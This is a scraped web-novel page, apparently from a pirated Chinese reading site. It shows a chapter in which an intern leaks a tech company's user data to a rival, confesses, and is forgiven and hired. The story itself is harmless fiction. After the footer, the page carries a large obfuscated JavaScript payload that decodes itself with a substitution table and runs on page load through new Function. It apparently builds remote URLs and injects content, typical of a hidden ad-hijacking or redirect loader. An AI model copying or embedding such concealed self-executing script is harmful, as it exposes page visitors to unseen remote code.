首页
第二十二章数据洪流里的裂痕
返回
关灯 护眼:关 字号:小

第二十二章数据洪流里的裂痕

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第二十二章数据洪流里的裂痕(第1/2页)
    凌晨三点的龙胆科技总部,应急灯的冷光在数据中心的服务器阵列上投下斑驳的影子。姚厚朴的指尖在键盘上翻飞如舞,屏幕上滚动的代码像失控的瀑布,绿色的字符映得他眼底布满血丝。
    “还有百分之七。”他头也不抬地说,声音沙哑得像被砂纸磨过。旁边的姚浮萍正将备用硬盘插入阵列柜,服务器嗡鸣的间隙里,能听见她按压太阳穴的轻响——连续三十六个小时没合眼,这位以冷静著称的技术总监,眼下也泛着浓重的青黑。
    数据泄露警报是昨天清晨拉响的。核心项目“星轨”的用户行为分析模块突然出现异常流量,等姚氏兄弟反应过来时,已有近十万条脱敏后的用户画像数据顺着加密通道流出。更要命的是,这些数据里藏着“星轨”算法的底层逻辑,一旦被竞争对手破译,整个项目数年的研发心血将毁于一旦。
    “查到流量出口了。”姚浮萍突然开口,指着屏幕上跳动的IP地址,“是市场部的公共服务器,有人在上面植入了跳板程序,伪装成常规数据备份的路径。”她调出服务器登录日志,眉头骤然拧紧,“最近三天,有七个临时权限账号登录过,其中三个……来自实习生组。”
    空气瞬间凝固。数据中心的冷气开得很足,姚厚朴却觉得后颈沁出了层冷汗。实习生组的权限本不该接触到核心服务器,除非——有人从内部开放了端口。
    这时,九里香推开玻璃门走进来,身上还带着凌晨的寒气。这位人力资源总监总是这样,无论多紧急的场合,西装永远熨帖得没有一丝褶皱,只是眼下那抹不易察觉的疲惫,泄露了她同样彻夜未眠。
    “这是实习生组近一周的考勤和设备使用记录。”她将平板放在操作台上,屏幕上密密麻麻的表格里,几个名字被标了红,“林晚的笔记本电脑,前天晚上十点到凌晨两点,有过四次匿名VPN连接,IP地址指向境外服务器。”
    姚厚朴的手指悬在键盘上顿住了。林晚——那个总是坐在角落,说话轻声细语,却能在产品测试会上精准指出三个逻辑漏洞的实习生,他前天才夸过她代码风格干净得像“洗过的白衬衫”。
    “不能仅凭VPN就下定论。”姚浮萍调出林晚的入职档案,照片上的女孩眉眼弯弯,带着点学生气的青涩,“她的背景调查没问题,推荐人是计算机协会的张教授,履历干净得像张白纸。”
    “白纸才好作画。”九里香的指尖在“实习动机”一栏轻轻点了点,那里写着“希望能在顶尖团队学习那些核心技术”,字迹娟秀却透着股执拗,“上周部门聚餐,她主动向产品经理请教‘星轨’的用户分层逻辑,当时我就觉得有点刻意——普通实习生更关心怎么完成手头的任务,而不是追问核心算法。”
    正说着,龙胆草的身影出现在门口。这位年轻的CEO穿着简单的白T恤和牛仔裤,头发有些凌乱,却丝毫没影响他眼神里的锐利。他没问进度,只是拿起平板翻看林晚的资料,指尖在屏幕上滑动的速度越来越快。
    “她入职第三周,发现了支付系统的一个隐性BUG,避免了可能的资金损失。”龙胆草突然开口,声音平静得听不出情绪,“第四周,给‘星轨’的用户界面提了七个优化建议,其中三个被采纳了。”他抬头看向九里香,“这样的人,会是商业间谍?”
    “优秀不代表忠诚。”九里香递给他一份监控录像截图,画面里林晚正站在打印机前,手里拿着份文件,而打印机连接的共享服务器,恰好能通过内部网关访问市场部服务器,“昨天下午三点十五分,她在这里停留了七分二十秒,打印的却是份早已归档的旧版用户协议——很明显是在掩饰什么。”
    龙胆草沉默了。数据中心的服务器仍在发出低沉的嗡鸣,像在催促着什么。他突然想起上周团建,林晚被曹辛夷的朋友们起哄灌酒,涨红了脸却坚持喝完最后一杯,说“团队活动不能搞特殊”;想起她工位上摆着的那盆小小的多肉,标签上写着“顽强”,和她本人一样看着柔弱却透着股韧劲。
    “查她的通讯记录和财务流水。”他最终还是下了命令,语气里带着不易察觉的疲惫,“在找到确凿证据前,不要惊动任何人。”
    曹辛夷就是在这时闯进来的。她穿着精致的连衣裙,显然是从什么晚宴上直接赶来的,脸上的妆容还没卸,却掩不住眼底的焦虑。“龙胆,我爸那边查到,安和科技的技术总监上周去了趟你母校,见过张教授。”她把手机递给龙胆草,屏幕上是张模糊的合影,“有人拍到他们在咖啡馆聊了近两个小时,而安和正是‘星轨’最直接的竞争对手。”
    安和科技——那个以不择手段著称的行业新贵,上个月刚挖走了龙胆科技的两个资深工程师。如果林晚真是他们安插的人,那张教授的推荐信,恐怕从一开始就是场精心设计的骗局。
    “权限冻结了吗?”曹辛夷看向姚氏兄弟,语气里带着她惯有的强势,却又在瞥见两人眼底的红血丝时,不自觉地放软了些,“需要我动用家里的关系查境外服务器吗?我表哥在安全部门……”
    “不用。”龙胆草打断她,“在公司内部解决。”他不喜欢把私人关系牵扯到工作里,尤其是在这种敏感时刻,任何外部介入都可能打草惊蛇。
    姚厚朴突然“啊”了一声,屏幕上的代码洪流停了下来,定格在一行异常的跳转指令上。“找到了!”他激动地放大代码,“这是个时间触发程序,每天凌晨三点自动发送数据包,发送者的终端标识……是林晚的工牌编号!”
    (本章未完,请点击下一页继续阅读)第二十二章数据洪流里的裂痕(第2/2页)
    证据确凿。数据中心里一片死寂,只有服务器的嗡鸣在空旷的房间里回荡。
    林晚是被一阵急促的敲门声惊醒的。凌晨四点,宿舍楼道里静得能听见自己的心跳,她披衣开门,看到九里香站在走廊尽头,身影被声控灯的光拉得很长。
    “林晚,来一趟公司,有紧急项目需要协助。”九里香的声音听不出情绪,手里却捏着个文件夹,指节微微泛白。
    林晚的心脏猛地一沉。她知道,该来的总会来。昨晚发送完最后一批数据时,她就对着电脑屏幕发呆了很久——那些匿名VPN的连接记录,那些看似无意的权限申请,终究还是留下了痕迹。
    打车去公司的路上,车窗外的霓虹灯在玻璃上划过一道道模糊的光带,像极了她此刻的心情。入职三个月,她从没想过自己会对这个地方产生感情:会记得姚浮萍在她写错代码时,不是批评而是耐心讲解“逻辑闭环”的重要性;会记得茶水间阿姨总给她留一块红糖糕,说“小姑娘加班辛苦”;甚至会记得龙胆草在产品会上,认真听她这个实习生发言时,眼里的专注与尊重。
    这些温暖,是她接受任务时从未预料到的变量。就像此刻,她口袋里的U盘存着“星轨”的最终核心参数——这是安和科技让她完成的最后一步,可她的手指却像被胶水粘住,怎么也摸不到那个冰冷的金属外壳。
    走进数据中心时,所有人的目光都落在她身上。龙胆草坐在最前面的椅子上,手里把玩着一支钢笔,眼神平静地看着她,没有愤怒,没有指责,却让她觉得比任何质问都更有压力。
    “林晚,坐。”他指了指对面的椅子,“知道为什么叫你来吗?”
    林晚低下头,指尖绞着衣角。她想说“不知道”,想编个理由,想做最后挣扎,可看着姚厚朴电脑屏幕上那行清晰的终端标识,所有的谎言都堵在了喉咙里。
    “是我做的。”她终于抬起头,声音带着颤抖,却异常清晰,“VPN是我连的,数据包是我发的。”
    曹辛夷猛地站起来,椅子腿在地上划出刺耳的声响:“你为什么要这么做?我们哪里对不起你?”她的眼眶红了,一半是愤怒,一半是失望——她虽然一直对林晚有戒心,却从没想过这个看似无害的女孩,真的会背叛公司。
    林晚没有回答,只是从口袋里掏出那个U盘,放在桌上。金属外壳在冷光下泛着寒光,像块沉甸甸的石头。“这里面是你们要的最后数据。”她深吸一口气,“但我没发给他们。”
    所有人都愣住了。
    “安和科技找到我时,说你们剽窃了他们的底层算法。”林晚的声音越来越低,“我妈生病需要一大笔钱,他们说只要我拿到‘星轨’的核心数据,就帮我支付全部医药费。”她抬起头,眼里含着泪,“可我来到这里,看到你们为了优化一个用户体验细节,能熬三个通宵;看到龙胆总拒绝用用户隐私换商业利益,哪怕损失市场份额也在所不惜……我知道,他们在骗我。”
    数据中心里静得能听见眼泪砸在地板上的声音。姚浮萍看着桌上的U盘,突然想起林晚上次提优化建议时,眼里闪烁的光,那不是伪装出来的,是对技术真正的热爱。
    龙胆草拿起那个U盘,在指间转了转,突然笑了:“你知道这东西值多少钱吗?”他没等林晚回答,就将U盘扔给姚厚朴,“格式化,然后帮我送份入职合同给林晚——正式员工的,技术部,薪资按你的能力定。”
    这下轮到林晚愣住了,眼泪还挂在睫毛上,人却像被施了定身法。
    “犯错不可怕,怕的是没有承担错误的勇气。”龙胆草站起身,走到她面前,“你能在最后关头停下,说明你心里还有底线。龙胆科技需要的不是完美的圣人,是有底线、有能力,更有良知的人。”他顿了顿,补充道,“你妈妈的医药费,公司可以先帮你垫付,算你预支的工资。”
    林晚再也忍不住,眼泪汹涌而出。她哽咽着说不出话,只能用力点头,泪水模糊了视线,却清晰地看到所有人脸上的表情——有释然,有欣慰,还有曹辛夷那别扭的、别过头去却悄悄抹了下眼角的动作。
    姚厚朴已经开始操作格式化,服务器的嗡鸣似乎都变得轻快了些。九里香走到林晚身边,递给他一张纸巾,语气里带着难得的温和:“明天上午九点,到我办公室签合同。另外,记得补一份详细的情况说明,法务部需要存档。”
    曹辛夷哼了一声,却走到林晚面前,把一杯热咖啡塞到她手里:“别以为这样就能抵消你的错,以后好好干活,要是再出纰漏,我第一个不放过你。”咖啡的温度透过纸杯传过来,暖得像她此刻的心情。
    凌晨五点的阳光透过数据中心的玻璃窗照进来,在地板上投下长长的光带。林晚握着那杯热咖啡,看着眼前这些原本应该对她怒目而视的人,突然明白——所谓团队,不只是一起工作的伙伴,更是在你犯错时,愿意给你一次改正机会的人。
    而龙胆科技这场突如其来的危机,像一场大浪,淘去了虚伪的泡沫,却让真正的真诚与信任,在数据洪流冲刷过的裂痕里,悄悄扎下了根。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();